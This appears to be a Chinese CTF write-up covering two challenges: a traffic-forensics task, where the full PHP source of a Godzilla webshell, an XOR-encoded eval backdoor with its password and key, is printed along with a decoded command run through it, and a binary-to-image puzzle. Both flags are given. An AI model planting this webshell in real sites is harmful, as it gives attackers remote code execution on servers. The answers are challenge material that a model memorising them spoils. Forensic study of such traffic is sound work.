第二十四周 20230926
1、eeasyflow
使用wireshark打开流量包在http协议中发现webshell的特征
其中从abc中提取到webshell的源码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='aabbcc';
$payloadName='payload';
$key='61a60170273e74a5';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
发现是哥斯拉的木马,然后通过PuzzleSolver解码得到命令执行的原始数据
然后逐流查看发现一个流特别长,然后通过工具解码得到原始数据,并通过python将内容写入文件
file = b'''fileName\x02!\x00\x00\x00/Users/chang/Sites/test/vera.datafileValue\x02\x00\x00\x0c\x00x\xcf$Y\xc6>\xa8z\xc0\x8f\x9d\xcf\x02\xc8\xf09O\xc4#\x04\xfb\xd0\xc2:\xdd\xe4TAZy\x83\xb6\xe0^<9"8B\x0cm\xedh\x94E+\x1c\xc8\x1er\xf54\x93\xb7c\xe8;.+\xd4\x1b\xcb\x85\x00\xb6m"\x9e\xc4\x..............uploadFile'''
with open('./file1','wb') as f:
f.write(file)
将文件前面不需要的数据去除fileName\x02!\x00\x00\x00/Users/chang/Sites/test/vera.datafileValue\x02\x00\x00\x0c\x00
,然后得到一个加密文件
同时在后续的流中发现一个写文件的操作
b'cmdLine\x02R\x00\x00\x00sh -c "cd "/Users/chang/Sites/test/";echo \'abcdWXYZ123321@bcd@XYZ\' > abc.txt" 2>&1methodName\x02\x0b\x00\x00\x00execCommand'
得到密码 abcdWXYZ123321@bcd@XYZ
通过vera提示感觉应该是VeraCrypt,然后通过工具加载文件,在分区中得到隐藏文件.flag.txt
得到flag如下:
DASCTF{bf8e9778c0a121be92b721569587ab44}
2、神秘讯息
第一段信息
10000110000111000011110000111110000111111000011111110000111111110000111111111000011111111110000
间隔为4个0,然后特征就是 1 11 111 1111 表示从1到10
第二段信息
110000111110000000011000011111000000001111110000110000111110000
间隔为4个0,然后就是11 11111 11 11111 111111 11 11111 25 25 625
第三段信息
然后第三段信息长度为62500
然后通过脚本绘制25*25的图片
from PIL import Image
MAX = 250
pic = Image.new("RGB",(MAX, MAX))
with open('./01.txt','r') as f:
str = f.read()
print(len(str))
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
通过百度识图发现这个是图片是旅行者金唱片
然后flag为
md5('lxzjcp') = 87bc583d375309f0838cf56ea5f2e447
flag如下:
flag{87bc583d375309f0838cf56ea5f2e447}